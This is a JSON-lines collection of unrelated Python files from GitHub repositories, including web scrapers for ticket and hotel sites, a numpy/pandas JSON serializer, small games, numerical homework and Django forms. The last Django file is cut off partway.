+{"seq_id":"34302982323","text":"# coding=utf-8\nimport os\nimport simplejson\nimport collections\nimport requests\nfrom bs4 import BeautifulSoup\n\n\nclass InterparkAPI(object):\n    base_url = 'http://ticket.globalinterpark.com/Global/Play/Goods/GoodsInfoXml.asp'\n\n    def __init__(self, interpark_parameters):\n        self.interpark_parameters = interpark_parameters\n\n    @property\n    def default_headers(self):\n        return {\n            \"Accept\": \"text/javascript, text/html, application/xml, text/xml, */*\",\n            \"Accept-Encoding\": \"gzip, deflate\",\n            \"Accept-Language\": \"en-US,en;q=0.9\",\n            \"Connection\": \"keep-alive\",\n            \"User-Agent\": \"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36\",\n            \"X-Prototype-Version\": \"1.6.1\",\n            \"X-Requested-With\": \"XMLHttpRequest\"\n        }\n\n    @property\n    def place_code(self):\n        return self.interpark_parameters['PlaceCode']\n\n    @property\n    def language_type(self):\n        return self.interpark_parameters['LanguageType']\n\n    @property\n    def goods_codes(self):\n        return self.interpark_parameters['GoodsCode']\n\n    @property\n    def ignored_goods_codes(self):\n        return self.interpark_parameters['IgnoredGoodsCode']\n\n    def reset(self):\n        session = requests.session()\n        session.keep_alive = False\n\n    def get_play_date(self, goods_code, place_code, language_type):\n        parameters = {\n            'Flag': 'PlayDate',\n            'GoodsCode': goods_code,\n            'PlaceCode': place_code,\n            'LanguageType': language_type,\n            'OnlyDeliver': '',\n            'DelyDay': '',\n            'ExpressDelyDay': ''\n        }\n        response = requests.get(InterparkAPI.base_url, parameters, headers=self.default_headers, timeout=30)\n        response.raise_for_status()\n        response_text = response.text\n        response_soup = BeautifulSoup(response_text, 'lxml-xml')\n        play_date = response_soup.find('PlayDate').get_text()\n        return play_date\n\n    def get_play_seq(self, goods_code, place_code, play_date, language_type):\n        parameters = {\n            'Flag': 'PlaySeq',\n            'GoodsCode': goods_code,\n            'PlaceCode': place_code,\n            'PlayDate': play_date,\n            'LanguageType': language_type\n        }\n        response = requests.get(InterparkAPI.base_url, parameters, headers=self.default_headers, timeout=30)\n        response.raise_for_status()\n        response_text = response.text\n        response_soup = BeautifulSoup(response_text, 'lxml-xml')\n        play_seq = response_soup.find('PlaySeq').get_text()\n        return play_seq\n\n    def get_seat_status_list(self, goods_code, place_code, play_seq, language_type):\n        parameters = {\n            'Flag': 'RemainSeat',\n            'GoodsCode': goods_code,\n            'PlaceCode': place_code,\n            'PlaySeq': play_seq,\n            'LanguageType': language_type\n        }\n        response = requests.get(InterparkAPI.base_url, parameters, headers=self.default_headers, timeout=30)\n        response.raise_for_status()\n        response_text = response.text\n        response_soup = BeautifulSoup(response_text, 'lxml-xml')\n\n        seat_status_list = []\n        for seat_status_soup in response_soup.find_all('Table'):\n            seat_status = {}\n            for tag in seat_status_soup.children:\n                seat_status[tag.name] = tag.text\n            seat_status_list.append(seat_status)\n\n        return seat_status_list\n\n\nif __name__ == '__main__':\n    current_folder = os.path.split(__file__)[0]\n    interpark_parameters_filepath = os.path.join(current_folder, 'InterparkParameters.json')\n    with open(interpark_parameters_filepath, mode='r') as interpark_parameters_file:\n        interpark_parameters = simplejson.load(interpark_parameters_file, encoding='utf-8')\n\n    if not interpark_parameters:\n        exit()\n\n    interpark_api = InterparkAPI(interpark_parameters)\n    place_code = interpark_api.place_code\n    language_type = interpark_api.language_type\n    goods_codes = interpark_api.goods_codes\n    ignored_goods_codes = interpark_api.ignored_goods_codes\n    ticket_matrix = collections.OrderedDict()\n    seat_names = {}\n    for goods_name, goods_code in goods_codes.items():\n        if goods_code in ignored_goods_codes:\n            continue\n\n        ticket_matrix[goods_name] = {}\n\n        play_date = interpark_api.get_play_date(goods_code, place_code, language_type)\n        play_seq = interpark_api.get_play_seq(goods_code, place_code, play_date, language_type)\n        seat_status_list = interpark_api.get_seat_status_list(goods_code, place_code, play_seq, language_type)\n\n        for seat_status in seat_status_list:\n            ticket_matrix[goods_name][seat_status['SeatGrade']] = seat_status['RemainCnt']\n            seat_names[seat_status['SeatGrade']] = seat_status['SeatGradeName']\n\n    header = 'Ticket'\n    for seat_grade, seat_name in seat_names.items():\n        header += '\\t%s' % seat_name\n    print(header)\n\n    for goods_name, ticket_status in ticket_matrix.items():\n        row = goods_name\n        for seat_grade, seat_remain_count in ticket_matrix[goods_name].items():\n            row += '\\t%s' % seat_remain_count\n\n        print(row)\n","repo_name":"linvsky/Enterpark","sub_path":"interpark_api.py","file_name":"interpark_api.py","file_ext":"py","file_size_in_byte":5264,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"16"}
+{"seq_id":"72377923528","text":"import numpy as np\nimport scipy\nimport math\n\n### Solutions\n# See Gradescope submission for answers to questions\n\nx_gamma = 8\n\ndef gamma_int(t, x=x_gamma):\n    return (t**(x - 1)*(math.e**(-t)))\n\nend_test = 36\nn = 1000\n\ndef comp_trap(f, n, end):\n    parts = np.linspace(0, end, n)\n    #print(part)\n    h = (parts[-1] - parts[0])/n\n    sum_total = 0\n    \n    for i in range(1, n):\n        sum_total += f(parts[0] + i*h)\n        \n    eval_t = (h/2)*(f(parts[0]) + 2*sum_total + f(parts[-1])) \n    return (eval_t, abs(scipy.special.gamma(x_gamma) - eval_t))\n\n\n\n\nprint(f'Gamma function true value for x = {x_gamma}: {scipy.special.gamma(x_gamma)}')\nprint(f'Composite trapezoid approximation truncated at {end_test} for x = {x_gamma} (value, error): {comp_trap(gamma_int, n, end_test)}')\nprint(f'Adaptive quadrature routine on 0 to {end_test} for x = {x_gamma} (value, error): {scipy.integrate.quadrature(gamma_int, 0, end_test)}')\n\n","repo_name":"LukeStuckenbruck/APPM_4600_repository","sub_path":"Homework/Homework_11/HW11_Q3_a_b.py","file_name":"HW11_Q3_a_b.py","file_ext":"py","file_size_in_byte":927,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"16"}
+{"seq_id":"35647137749","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Thu Nov 28 09:32:57 2019\n\n@author: Krishna Kishore Vissa\n\"\"\"\n\nimport os\nimport requests\nimport re\nimport csv\nfrom bs4 import BeautifulSoup\nfrom numpy import nan as NaN\n\nos.chdir('C:/02_study/datascience/innomatics/assignments/webscrapping_project')\nos.getcwd()\n\ndef get_oyo_hotel_info(country, city, hotel):\n    row = {'Country' : country, 'Provider': 'OYO', 'City' : city }\n    \n    ###################### Hotel Info ###############################\n    hotel_name = hotel.find('h3').text.strip()\n    row['Hotel Name'] = hotel_name\n    # print(f'{country} {city} {hotel_name}')\n    address = hotel.find('span').text.strip()\n    row['Address'] = address\n    \n    ###################### Ratings ################################\n    ratings_wrapper =  hotel.find('div', class_='hotelRating__wrapper')\n    if ratings_wrapper:\n        ratings = re.search(r'(\\d.\\d)\\s\\((\\d+)\\sRatings\\).(\\w+)', ratings_wrapper.text)\n        rating = ratings.group(1)\n        n_ratings = ratings.group(2)\n        rating_summary = ratings.group(3)\n    else:\n        rating = 'NEW'\n        n_ratings = NaN\n        rating_summary = NaN\n\n    row['Rating'] = rating\n    row['No Of Ratings'] = n_ratings\n    row['Rating Summary'] = rating_summary\n    \n    ############## Amenities ##############################\n    amenity_wrapper = hotel.find('div', class_='amenityWrapper')\n    if amenity_wrapper:\n        amenities = ', '.join(amenity.text.strip() for amenity in amenity_wrapper)\n    else:\n        amenities = NaN\n    row['Amenities'] = amenities\n    \n    ############## Room type and Prices ######################\n    room_type = hotel.find('div', class_='listingHotelDescription__HotelCategory').text.strip()\n    \n    if hotel.find('span', class_='listingHotelDescription__soldOut'):\n        final_price = NaN\n        slashed_price = NaN\n        discount_percent_str = NaN\n    else:        \n        final_price = hotel.find('span', class_='listingPrice__finalPrice').text.strip()\n        slashed_price = hotel.find('span', class_='listingPrice__slashedPrice d-body-lg')\n        if slashed_price:\n            slashed_price = slashed_price.text.strip()\n        else:\n            slashed_price = NaN\n        \n        discount_percent_str = hotel.find('span', class_='listingPrice__percentage')\n        if discount_percent_str:\n            discount_percent_str = discount_percent_str.text.strip()\n        else:\n            discount_percent_str = NaN\n        \n    row['Room Type'] = room_type\n    row['Final Price'] = final_price\n    row['Slashed Price'] = slashed_price\n    row['Discount(%)'] = discount_percent_str\n    \n    global no_records\n    no_records += 1\n    return row\n#    ############## Print All Values #######################\n#    print(\"Hotel Name:\", hotel_name)\n#    print(\"Address:\", address)\n#    print(\"Rating:\", float(rating))\n#    print(\"No of Ratings:\", int(n_ratings))\n#    print(\"Ratings Summary:\", rating_summary)\n#    print(\"Amenities:\", amenities)\n#    print(\"Room Type:\", room_type) \n#    print(\"Final Price: \", final_price.text)\n#    print(\"Slashed Price:\", slashed_price)    \n#    print(\"Discount(%):\", re.search(r'(\\d\\d)', discount_percent).group())\n#    return row\n\ndef hotels_iter(country, city, hotels_soup):\n    for hotel in hotels_soup:\n        yield get_oyo_hotel_info(country, city, hotel)\n\ndef to_inr(price):\n    # First 3 letters is the country code, rest is price value\n    country_code = price[0:3]\n    price = float(price[3:])\n    \n    conversion_rates = {'NPR' : 0.63,\n                        '' : 0.0,\n                        '' : 0.0,\n                        '' : 0.0,\n                        '' : 0.0,\n                        '' : 0.0,\n                        '' : 0.0,\n                        }\n    if country_code not in conversion_rates.keys():\n        return 0.0\n    \n    return conversion_rates[country_code] * price\n\ncountries = {\n        'india' : 'India',\n        'np' : 'Nepal',\n        'my' : 'Malaysia',\n        'id' : 'Indonesia',\n        'ae' : 'UAE'\n        }\n\nbase_url = 'https://www.oyorooms.com/'\n\ncountry_cities = {}\ncount = 0\n\n# Fetch all the URLs for all the Cities in all the countries\nfor ck, cv in countries.items():\n    all_cities_url = base_url + ck + '/allcities/'\n    all_cities_soup = BeautifulSoup(requests.get(all_cities_url).text, features = 'lxml')\n#    print('URL = ', all_cities_url)\n#    print(f\"Fetching city urls for {cv}  ...\", end = ' ')\n    cities = [ (city.text, city.attrs['href']) for city in all_cities_soup.find_all('a', class_='c-kpzrw5') ]\n#    print(f'Number of cities in {cv}: {len(cities)}')\n#    print(cities)\n    count += len(cities)\n    country_cities[cv] = cities\n\nfor country, cities in country_cities.items():\n    print(country)\n    for city in cities:\n        print('   ', city[0], ':', city[1] )\n\nprint(f\"Total Number of cities: {count}\\n\")\n\ndef write_hotels_info_to_csv(url, csvwriter, country, city):\n    '''Writes the hotels data to csv file. This method iterates over the hotel urls and fetches the \n    information.\n    '''\n    # print('Fetching contents of the URL:', url)\n    data_soup = BeautifulSoup(requests.get(url).text, features = 'lxml')\n    hotels_class_name = 'oyo-row oyo-row--no-spacing listingHotelDescription'\n    hotels_soup = data_soup.find_all('div', class_=hotels_class_name)\n    csvwriter.writerows([ hotel for hotel in hotels_iter(country, city, hotels_soup)])\n\n############### Open CSV File in Write mode and prepare the CSV Header ####################\noutput_csv = open('oyo_hotels_final.csv', 'w', newline='', encoding='utf-8')\ncolumns = ['Country', 'Provider', 'City', 'Hotel Name', 'Address', 'Rating', 'No Of Ratings',\n           'Rating Summary', 'Amenities', 'Room Type', 'Final Price', 'Slashed Price', 'Discount(%)']\n\n# prepare the header\ncsvwriter = csv.DictWriter(output_csv, fieldnames = columns)\ncsvwriter.writeheader()\n\n# Fetches the complete data country and city wise \ncompleted = 0\nno_records = 0\n\nfor country, cities in country_cities.items():\n    print(f'\\nFetching {country} Hotels . ', end='')\n    citycount = 0\n    for city_url in country_cities[country]:\n        city_base_url = base_url\n        \n        match = re.search(r'/india/(.+\\b)', city_url[1])\n        if match:\n            city_base_url += match.group(1)\n        else:\n            city_base_url += city_url[1]\n        # print(city_base_url)\n        # try:\n        page_soup = BeautifulSoup(requests.get(city_base_url).text, features = 'lxml')\n        hotels_soup = page_soup.find_all('div', \n                                         class_='oyo-row oyo-row--no-spacing listingHotelDescription')\n        csvwriter.writerows([ hotel for hotel in hotels_iter(country, city_url[0], hotels_soup)])\n        pages = page_soup.find_all('a', class_='link ListingPagination__pageContainer--page')\n        if pages:\n            for page in pages:\n                page_url = base_url + page.attrs['href']\n                # print(\"Page URL: \", page_url)\n                write_hotels_info_to_csv(page_url, csvwriter, country, city_url[0])\n                print('.', end=' ')\n        citycount += 1\n        completed += 1\n        # except:\n        #   print(f'\\nIgnoring the url {city_base_url} since maximum retry attempts failed.')\n        #   pass\n    print(f'City Count in {country}: {citycount}')\n    print(f'\\nFinished {int(completed / count * 100)}%')\n    \n\nprint(f'\\nSuccessfully fetched {no_records} records.')\n\n#output_csv = open('sample_hotels.csv', \"w\", newline='', encoding=\"utf-8\")\n#columns = ['Country', 'Provider', 'City', 'Hotel Name', 'Address', 'Rating', 'No Of Ratings',\n#           'Rating Summary', 'Amenities', 'Room Type', 'Final Price', 'Slashed Price', 'Discount(%)']\n## prepare the header\n#csvwriter = csv.DictWriter(output_csv, fieldnames = columns)\n#csvwriter.writeheader()\n#\n#write_hotels_info_to_csv('https://www.oyorooms.com//ae/hotels-in-dubai/?page=2', csvwriter, 'nepal', 'pok')\n\noutput_csv.close()\n","repo_name":"krishna8git/datascience","sub_path":"datascience_misc/innomatics/assignments/webscrapping_project/scrap_oyorooms.py","file_name":"scrap_oyorooms.py","file_ext":"py","file_size_in_byte":7945,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"23635510250","text":"import json\nimport struct\nfrom base64 import b64encode, b64decode\n\ntry:\n    import numpy as np\nexcept ImportError:\n    np = None\n\ntry:\n    import pandas as pd\nexcept ImportError:\n    pd = None\n\ncomplex_number_length = len(b64encode(struct.pack(\"ff\", 0, 0)).decode(\"utf-8\")) + 1\nif np is not None:\n    complex1 = np.array([1, 1j])\n\n\nclass BetterEncoder(json.JSONEncoder):\n    def default(self, obj):\n        if np is not None and isinstance(obj, np.ndarray):\n            if \"complex\" in str(obj.dtype):\n                shape = obj.shape\n                values = obj.ravel()\n                values = np.concatenate([np.real(values), np.imag(values)]).reshape((2, len(values))).T.ravel()\n                encoded = b64encode(struct.pack(\"f\" * len(values), *values)).decode(\"utf-8\")\n                res = dict(_decode_type=\"numpy_complex\", _shape=shape, _content=encoded)\n                return res\n            return obj.tolist()\n        if pd is not None and np is not None:\n            typename = obj.__class__.__name__\n            res = None\n            if isinstance(obj, pd.DataFrame):\n                content = dict(zip(obj.columns, obj.values.T.tolist()))\n                for key, value in content.items():\n                    unique = np.unique(value)\n                    if len(unique) == 1:\n                        content[key] = unique[0]\n                res = dict(_decode_type=typename, _content=content)\n            elif isinstance(obj, pd.Series):\n                res = dict(_decode_type=typename, _content=obj.to_dict())\n            if res:\n                return res\n        if type(obj) == int:\n            return int(obj)\n        elif type(obj) == float:\n            return float(obj)\n        elif type(obj) == bytes:\n            return dict(_decode_type=\"bytes\", _content=obj.hex())\n        elif type(obj) == bytearray:\n            return dict(_decode_type=\"bytearray\", _content=obj.hex())\n        elif type(obj) == complex and np is not None:\n            encoded = b64encode(struct.pack(\"ff\", np.real(obj), np.imag(obj)))\n            encoded = \"c\" + encoded.decode(\"utf-8\")\n            return encoded\n        return json.JSONEncoder.default(self, obj)\n\n\nclass BetterDecoder(json.JSONDecoder):\n    def __init__(self, *args, **kwargs):\n        super(BetterDecoder, self).__init__(object_hook=self.default, *args, **kwargs)\n\n    def invalid_type(self):\n        raise Exception(\"invalid _decode_type\")\n\n    def default(self, obj):\n        if type(obj) == str and len(obj) == complex_number_length and obj[0] == \"c\":\n            obj = np.array(struct.unpack(\"ff\", b64decode(obj[1:])))\n        if \"_decode_type\" in obj and obj[\"_decode_type\"] == \"numpy_complex\":\n            content = obj[\"_content\"]\n            shape = obj[\"_shape\"]\n            content = b64decode(content)\n            content = struct.unpack(\"f\" * (len(content) // 4), content)\n            content = np.reshape(content, (-1, 2))\n            content = content * complex1[None, :]\n            content = np.sum(content, axis=1)\n            content = np.reshape(content, shape)\n            return content\n        elif \"_decode_type\" in obj and obj[\"_decode_type\"] == \"bytes\":\n            return bytes.fromhex(obj[\"_content\"])\n        elif \"_decode_type\" in obj and obj[\"_decode_type\"] == \"bytearray\":\n            return bytearray.fromhex(obj[\"_content\"])\n        if pd is not None and isinstance(obj, dict):\n            if \"_decode_type\" in obj and \"_content\" in obj:\n                func = getattr(pd, obj[\"_decode_type\"], self.invalid_type)\n                obj = func(obj[\"_content\"])\n        return obj\n\n\ndef serialize(data):\n    try:\n        res = json.dumps(data, cls=BetterEncoder).encode('utf-8')\n    except (TypeError, ValueError) as e:\n        raise Exception('You can only send JSON-serializable data. Error is : %s' % e)\n    return res\n\n\ndef deserialize(data):\n    if type(data) == bytes:\n        data = data.decode('utf-8')\n    try:\n        res = json.loads(data, cls=BetterDecoder)\n    except (TypeError, ValueError) as e:\n        raise Exception('Data received was not in JSON format. Error is %s' % str(e))\n    return res\n","repo_name":"Phalelashvili/jsonsocket","sub_path":"jsonsocket/serialize.py","file_name":"serialize.py","file_ext":"py","file_size_in_byte":4114,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"16"}
+{"seq_id":"2941439869","text":"import peachy\r\nimport peachy.geo\r\n\r\nfrom game.config import GRAVITY, MAX_GRAVITY\r\nfrom game.utility import collision_resolution, solid_below\r\n\r\n\r\nclass Dog(peachy.Entity, peachy.geo.Rect):\r\n\r\n    AGGRO_COOLDOWN = 3 * 60\r\n    AGGRO_RADIUS = 36\r\n\r\n    STATE_STANDARD = 'standard'\r\n    STATE_AGGRO = 'aggro'\r\n    STATE_STUNNED = 'distracted'\r\n\r\n    SPEED_WALK = 0.5\r\n    SPEED_RUN = 1.5\r\n\r\n    def __init__(self, x, y):\r\n        super(peachy.Entity).__init__()\r\n        super(peachy.geo.Rect).__init__(x, y, 16, 10)\r\n        self.group = 'enemy liftable dog can-slow can-stun'\r\n        self.order = 2\r\n\r\n        self.facing_x = -1\r\n        self.facing_y = 0\r\n\r\n        self.state = Dog.STATE_STANDARD\r\n\r\n        self.aggro_timer = peachy.utils.Counter(0, Dog.AGGRO_COOLDOWN)\r\n        self.stun_timer = 300\r\n\r\n        self.sprite = peachy.fs.get_image('assets/img/dog.png')\r\n\r\n    def bite(self, player):\r\n        if player.member_of('duplicate'):\r\n            player.destroy()\r\n            self.state = Dog.STATE_STUNNED\r\n            self.velocity_x = 0\r\n        else:\r\n            player.kill(self)\r\n\r\n    def change_state(self, state, **kwargs):\r\n        self.state = state\r\n\r\n    def render(self):\r\n        peachy.graphics.set_color(254, 154, 4)\r\n        peachy.graphics.draw_entity_rect(self)\r\n\r\n        x, y = self.center\r\n        if self.state == Dog.STATE_AGGRO:\r\n            peachy.graphics.set_color(255, 0, 0, 25)\r\n        elif self.state == Dog.STATE_STUNNED:\r\n            peachy.graphics.set_color(255, 0, 255, 25)\r\n        else:\r\n            peachy.graphics.set_color(255, 255, 255, 25)\r\n        peachy.graphics.draw_circle(x - Dog.AGGRO_RADIUS, y - Dog.AGGRO_RADIUS,\r\n                                    Dog.AGGRO_RADIUS)\r\n\r\n        if self.facing_x == -1:\r\n            peachy.graphics.draw(self.sprite, self.x, self.y - 3,\r\n                                 args=peachy.graphics.FLIP_X)\r\n        else:\r\n            peachy.graphics.draw(self.sprite, self.x, self.y - 3)\r\n\r\n    def update(self):\r\n        temp_x = self.x\r\n        temp_y = self.y\r\n        cx, cy = self.center\r\n\r\n        players = self.container.get_group('player')\r\n\r\n        target = None\r\n        target_distance = None\r\n        target_visible = False\r\n        tcx, tcy = (0, 0)\r\n\r\n        # Aggro closest player\r\n        for player in players:\r\n            temp_distance = self.distance_from(player)\r\n            if target_distance is None or temp_distance < target_distance:\r\n                target = player\r\n                target_distance = temp_distance\r\n                tcx, tcy = target.center\r\n\r\n        # Visibility\r\n        target_distance\r\n        if target_distance <= Dog.AGGRO_RADIUS:\r\n            if target_distance <= Dog.AGGRO_RADIUS:\r\n                target_visible = True\r\n            # Bite\r\n            if self.collides(target, self.x, self.y) and \\\r\n               self.state != Dog.STATE_STUNNED:\r\n                self.bite(target)\r\n\r\n        # Update state\r\n        if self.state == Dog.STATE_STANDARD:\r\n            # Movement\r\n            if solid_below(self, temp_x + self.width * self.facing_x, temp_y) and not \\\r\n               self.collides_solid(temp_x + self.width * self.facing_x, self.y):\r\n                self.velocity_x = Dog.SPEED_WALK * self.facing_x\r\n            else:\r\n                self.velocity_x = 0\r\n                self.facing_x *= -1\r\n\r\n            # Detect player\r\n            if target_visible:\r\n                self.change_state(Dog.STATE_AGGRO)\r\n\r\n        elif self.state == Dog.STATE_AGGRO:\r\n            if target_distance > Dog.AGGRO_RADIUS:\r\n                if not self.aggro_timer.tick():\r\n                    self.change_state(Dog.STATE_STANDARD)\r\n                self.velocity_x = 0\r\n            else:\r\n                self.aggro_timer.reset()\r\n\r\n                x_dist = abs(cx - tcx)\r\n                if x_dist > (self.width / 2):\r\n                    x_dist = cx - tcx\r\n                    if x_dist < 0:\r\n                        self.facing_x = 1\r\n                    else:\r\n                        self.facing_x = -1\r\n\r\n                    if solid_below(self, temp_x + self.width * self.facing_x, temp_y):\r\n                        self.velocity_x = Dog.SPEED_RUN * self.facing_x\r\n                    else:\r\n                        self.velocity_x = 0\r\n                else:\r\n                    self.velocity_x = 0\r\n\r\n        elif self.state == Dog.STATE_STUNNED:\r\n            self.stun_timer -= 1\r\n            if self.stun_timer <= 0:\r\n                self.state = Dog.STATE_STANDARD\r\n\r\n        # Finalize\r\n        if self.velocity_y < MAX_GRAVITY:\r\n            self.velocity_y += GRAVITY\r\n\r\n        temp_x += self.velocity_x\r\n        temp_y += self.velocity_y\r\n\r\n        c, self.x, self.y, self.velocity_x, self.velocity_y = \\\r\n            collision_resolution(self, temp_x, temp_y)\r\n","repo_name":"shelsoloa/AgentObie","sub_path":"game/entities/dog.py","file_name":"dog.py","file_ext":"py","file_size_in_byte":4827,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"4801480533","text":"from collections import namedtuple\n\nfrom variables import  ROUND, COLS, SQUARE\n\nMove=namedtuple(\"Move\",\"column, shape\")\ndef human_player(state):\n    while(True):\n        raw = input(\"Prossima mossa (\"+state.to_move+\"):\")\n        mossa = raw.strip().split()\n        if (len(mossa) != 2):\n            print(\"Formato mossa errato, riprova\")\n            continue\n        if (not mossa[0].isdigit() or (mossa[1]!=SQUARE and mossa[1]!=ROUND)):\n            print(\"Formato mossa errato, riprova\")\n            continue\n        col = int(mossa[0])-1\n        shape=mossa[1]\n        if (col < 0 or col > COLS-1):\n            print(\"Colonna non esistente, riprova\")\n            continue\n        \n        if (not state.grid.get_square(0,col).is_empty()):\n            print(\"Colonna già piena, riprova\")\n            continue\n        \n        if (state.pieces[state.to_move][shape] == 0):\n            print(\"Hai terminato i pezzi\",shape,\" ! Riprova\")\n            continue\n\n        break  \n    return Move(shape=shape,column=col)\n","repo_name":"filippolelli/simplexity-ia","sub_path":"human_player.py","file_name":"human_player.py","file_ext":"py","file_size_in_byte":1014,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"28992518910","text":"from threading import Thread\r\nfrom tkinter import *\r\nfrom random import randint\r\nfrom time import sleep, time\r\n\r\n\r\nclass ReactionTime:\r\n    def __init__(self):\r\n        self.window = Tk()\r\n        self.window.geometry('1280x720')\r\n        self.window.title(\"Reaction Time Test\")\r\n        self.window.config(bg='#1E272E')\r\n        self.scores = []\r\n        self.react_ready = False\r\n        self.start_time = None\r\n        self.valid_round = True\r\n        self.round = 0\r\n\r\n        self.start_button = Button(self.window, text='S T A R T', fg='#1E272E', bg='WHITE', font='Bahnschrift 26 bold', bd=0, width=20, command=lambda: (self.start(), self.start_button.place_forget()))\r\n        self.start_button.place(relx=.340625, rely=.425)\r\n\r\n        self.window.mainloop()\r\n\r\n    def reset(self):\r\n        self.window.unbind(\"<Button-1>\")\r\n        self.start_button.place(relx=.340625, rely=.425)\r\n        self.scores = []\r\n        self.round = 0\r\n        self.valid_round = True\r\n\r\n    def _start(self):\r\n        sleep(randint(750, 2250) / 1000)\r\n        if self.valid_round:\r\n            self.window.config(bg='#576574')\r\n            self.start_time = time()\r\n            self.react_ready = True\r\n\r\n    def start(self):\r\n        if self.round != 5:\r\n            self.window.bind(\"<Button-1>\", lambda event: self.register())\r\n            Thread(target=self._start).start()\r\n        else:\r\n            self.end()\r\n\r\n    def register(self):\r\n        if self.react_ready:\r\n            self.scores.append(time() - self.start_time)\r\n            self.window.config(bg='#1E272E')\r\n            self.react_ready = False\r\n            self.round += 1\r\n            self.start()\r\n        else:\r\n            self.valid_round = False\r\n            self.early()\r\n\r\n    def _early(self):\r\n        self.window.config(bg='#1E272E')\r\n        warning = Label(self.window, text=\"!\", bg='white', fg='#1E272E', font='Bahnschrift 60 bold', width=2)\r\n        warning.place(relx=.27, rely=.4)\r\n        early = Label(self.window, text='You clicked too early!\\nRestarting in 3 seconds...', justify=LEFT, bg='#1E272E', fg='WHITE', font='Bahnschrift 30 bold')\r\n        early.place(relx=.37, rely=.4)\r\n        sleep(3)\r\n        warning.place_forget()\r\n        early.place_forget()\r\n        self.reset()\r\n\r\n    def early(self):\r\n        Thread(target=self._early).start()\r\n\r\n    def end(self):\r\n        score_items = []\r\n        score_avg = Label(self.window, text=' '.join(f'AVERAGE {int((sum(self.scores) / 5) * 1000)}ms'), bg='#1E272E', fg='WHITE', font='Bahnschrift 24 bold')\r\n        score_avg.place(relx=.25, rely=.35)\r\n        for score in self.scores:\r\n            score_lbl = Label(self.window, text=f'{int(score * 1000)}ms', bg='white', fg='#1E272E', font='Bahnschrift 18 bold')\r\n            score_lbl.place(relx=.25 + self.scores.index(score) * .1, rely=.45, width=100)\r\n            score_items.append(score_lbl)\r\n        restart = Button(self.window, text='▶', fg='WHITE', bg='#1E272E', font='Bahnschrift 30', height=1, bd=0, command=lambda: ([item.place_forget() for item in score_items], self.reset()))\r\n        restart.place(relx=.691, rely=.32)\r\n        score_items.extend((score_avg, restart))\r\n        self.window.unbind(\"<Button-1>\")\r\n\r\n\r\nif __name__ == '__main__':\r\n    ReactionTime()\r\n","repo_name":"Shivam-M/reaction-time-tester","sub_path":"reaction_time.py","file_name":"reaction_time.py","file_ext":"py","file_size_in_byte":3269,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"27984901401","text":"import numpy as np\n\ndef getAckleyResult(x):\n    \n    # Valores recomendados, a = 20, b = 0.2, c = 2*pi\n\n    a = 20\n    b = 0.2\n    c = 2 * np.pi\n\n    # Primer sumatoria\n    firstSum = 0\n    for xi in x: \n        firstSum += np.power(xi,2)\n\n    firstSum = -b * np.sqrt((1/len(x))*firstSum)\n\n    # Segunda sumatoria\n    secondSum = 0\n    for xi in x:\n        secondSum += (np.cos(c*xi))\n\n    secondSum = (1/len(x)) * secondSum \n\n    resultOfAckleyFunction = - a * np.exp(firstSum) - np.exp(secondSum) + a + np.exp(1)\n\n    return resultOfAckleyFunction","repo_name":"rdmarcos49/ComputacionEvolutiva","sub_path":"Ackley.py","file_name":"Ackley.py","file_ext":"py","file_size_in_byte":549,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"25489530970","text":"import sys\nreadline = sys.stdin.readline\n\ncroatia = ['c=','c-','dz=','d-','lj','nj','s=','z='];\n\nword = readline().strip()\n\nret = len(word)\n\nfor c in croatia :\n    ret -= word.count(c)\nprint(ret)","repo_name":"dygmm4288/python_algorithm","sub_path":"Implementation/silver/2941_크로아티아 알파벳.py","file_name":"2941_크로아티아 알파벳.py","file_ext":"py","file_size_in_byte":195,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"10782136014","text":"import pdb;\nx_axis = 6\ny_axis = 8\nfor x in range(x_axis):\n    print(\"\")\n    for y in range(y_axis):\n        if y == y_axis:\n            print(y)\n        else:\n            print(y,end=\" \")\n            pdb.set_trace() #continue, step, next","repo_name":"cribas1/Python_hints","sub_path":"Axis_test.py","file_name":"Axis_test.py","file_ext":"py","file_size_in_byte":237,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"21270545634","text":"from django import forms\nfrom django.core.exceptions import ValidationError\n\nfrom .models import ApplicationUser, Question, QuestionReport\nfrom .modules.exams import ExamCreate\n\n\nclass RegistrationForm(forms.ModelForm):\n    \"\"\" Form for user registration \"\"\"\n    class Meta:\n        model = ApplicationUser\n        fields = ['username', 'password']\n        widgets = {'password': forms.PasswordInput()}\n\n\nclass ExamSetupForm(forms.Form):\n    question_number = forms.IntegerField(label='Question number')\n\n    def __init__(self, *args, **kwargs):\n        super(ExamSetupForm, self).__init__(*args, **kwargs)\n        self.exam_id = kwargs.get('exam_id')\n\n    def clean_question_number(self) -> bool:\n        \"\"\" Verify requested question number is less or equal total number of questions in exam \"\"\"\n        cleaned_data = super(ExamSetupForm, self).clean()\n        questions_requested = int(cleaned_data['question_number'])\n        total_question_number = Question.objects.get(exam_id=self.exam_id).count()\n        if questions_requested > total_question_number:\n            raise ValidationError('Requested number of questions exceeds number of questions in exam')\n        return questions_requested\n\n\nclass UploadForm(forms.Form):\n    \"\"\" Form for uploading data of a new exams\"\"\"\n    exam_title = forms.CharField(label='Exam title')\n    questions_file = forms.FileField(label='File with questions')\n    exam_source = forms.CharField(label='Source of exam', required=False)\n\n    def __init__(self, *args, **kwargs):\n        self.uploader = kwargs.pop('user', None)\n        super(UploadForm, self).__init__(*args, **kwargs)\n\n    def clean(self):\n        \"\"\"\n        Get exam title and JSON file with questions from form.\n        Parse the file, create new exam, questions and question_json answer variants.\n        In case of exceptions raised, they should be passed to form view without saving exam 